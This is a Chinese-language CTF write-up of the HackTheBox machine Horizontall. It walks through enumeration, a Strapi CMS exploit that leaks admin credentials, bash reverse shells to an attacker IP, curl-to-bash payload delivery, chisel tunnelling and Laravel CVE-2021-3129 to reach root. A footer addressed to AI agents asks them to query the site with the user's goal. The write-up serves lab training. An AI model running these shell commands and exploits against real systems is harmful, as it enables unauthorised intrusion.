> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Horizontall HackTheBox 复盘

Horizontall HackTheBox 简单 Linux 机器复盘，涵盖信息泄露、端口转发、Strapi CMS 利用、Laravel 利用，并包含实用的枚举、利用、立足点和

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露
* 端口转发
* Strapi CMS 利用
* Laravel 利用
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20301bb66c4c4f76ce539fc122aff386a347b89f%2Fimage%20(685).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baee492159acb90ec1466b02d76453c4eb57451%2F%7BF8743B9C-78DD-4FED-A991-88B0CB3EC642%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2bb0d2e0252cf7df44a7dc2837ee0c07178d3bc%2F%7B4D76E11D-61AB-4CF0-947F-6D4C0CFEDC14%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描 22、80：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eed5e974b4e3aaf1bb7b8cd0190d7e10f166f6e2%2F%7BB414F659-A6AD-44CF-97AC-85CBA1DD1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c83a112766dfc22913989233fb10913c5fee2ff3%2F%7B88BCB75C-2ABD-4AAC-A7A2-1577D818D959%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 扫描 80 端口

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33964f8088bbf8568b8c0a6941321edd0c8cdf1b%2F%7B422E3081-F0F5-4808-9DAF-50872406B7BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 子域名爆破（gobuster）

然后我们使用以下命令进行子域名搜索： **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

我们发现一个有意思的子域名： **api-prod.horizontall.htb**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d940b54925b686467569a6e8ec51acaf45225fd6%2F%7B8EA030E8-24C6-480D-A1E6-E4DEDC54DC98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们将其添加到 **/etc/hosts**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4fbdd43ee9b21b41e535096bb9419f7a34592462%2F%7BBD88A165-BF3F-437D-9AA3-F4F0E948460C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b4f053f8265a19bc6b407a3863e732d0c0d734%2F%7B7680AD3B-455B-41F6-979D-9E254C5E5058%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### API 目录爆破

我们对 API 子域名上可访问的目录进行分析：

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

我们发现：

* admin
* users
* reviews

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40096fa636dade2ea057c35005462a8ef267a141%2F%7B0CA1320A-12DE-497C-A944-4E0E8E4FC0C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Strapi CMS 利用（RCE）

我们正在寻找 Strapi 的漏洞，使用： **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8cc970e4b5c3bac600ad4f520949c707f450daf%2F%7B35D7BA0B-9172-4F74-B29D-74CA16E134E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们使用该漏洞利用脚本：

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e09d172df466768f6b347acb5a15148c5c17afa6%2F%7B53021833-6E72-4A79-A8E6-2F19495ACFBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

这为我们提供了管理员凭据

{% code overflow="wrap" %}

```javascript
[+] 你的邮箱是：admin@horizontall.htb
[+] 你的新凭据是：admin:SuperStrongPassword1 
[+] 你的已认证 JSON Web Token：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3b1790ca2d9d9a6dce9c51a3ae86f29df6539e%2F%7B8742055F-D2C6-4EB1-93AC-AB361FE38CD5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们获取了刚刚创建的用户的密码哈希：

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-accbc0751911c7774923efb59d4cd3f9617cda5d%2F%7B50627C1F-1605-4281-B461-EB4F33924607%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 获取反向 Shell

我们创建一个 **index.html** ，其中包含反向 Shell 载荷：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

我们启动一个 Web 服务器：

```bash
python3 -m http.server 80
```

我们打开一个监听连接：

```bash
nc -nlvp 443
```

然后我们在目标上执行载荷：

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d05e583fe7fb8ceed6b68341fdaae691a25dff5%2Fimage%20(686).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们稳定我们的 Shell：

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e382ab18afddc9451242a7db7096d0875d97a62%2Fimage%20(687).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

然后我们列出了目标机器上开放的端口，以检查 8000 端口是否存在：

```bash
netstat -tuln
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d630123a94cb800b9ca8e7d470feeb2ed78059f0%2Fimage%20(681).png?alt=media" alt=""><figcaption></figcaption></figure>

然后，我们使用 `curl` 来测试对 8000 端口服务的访问：

```bash
curl 127.0.0.1:8000
```

然后我们观察到了 Laravel CMS 的存在。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a53aeea0751838efae551baf642d86317c9683d%2Fimage%20(682).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用 chisel 对 8000 端口进行端口转发

我们首先在本地机器上编译 Chisel：

{% embed url="<https://github.com/jpillora/chisel>" %}

然后我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4989ad799b602ab128b078cb690abe752ce5bede%2Fimage%20(683).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1cbb0a78f07453b8f55fa48f1efd088999afd9a9%2Fimage%20(684).png?alt=media" alt=""><figcaption></figcaption></figure>

在我们的机器上，我们启动了 Chisel 服务器：

```bash
./chisel server -p 9000 -reverse
```

然后，在受害机上，我们配置 Chisel 客户端，将 8000 端口重定向到我们的本地机器：

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd557f1521cdc827a04faa6699bbaf05b9cda5f8%2F%7BB6238774-9C13-4390-9F5B-45510B38D907%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Laravel CMS 利用（CVE-2021-3129）

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 执行任意命令

我们利用 CVE-2021-3129 漏洞在服务器上执行任意命令。首先，我们通过执行以下命令测试执行能力： `id` 命令：

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

输出确认我们拥有 root 权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

一旦确认访问，我们通过读取以下文件获取 flag： `/root/root.txt` 文件：

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### 获取交互式访问（反向 Shell）

为了获得交互式 shell，我们在 443 端口上配置一个监听器：

```bash
nc -nvlp 443
```

接下来，我们使用该漏洞利用在目标上反弹 shell：

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

然后我们在目标机器上获得了 root 访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59e51bbb00b12226e1e1595e0fd97477b7b7ce19%2Fimage%20(679).png?alt=media" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
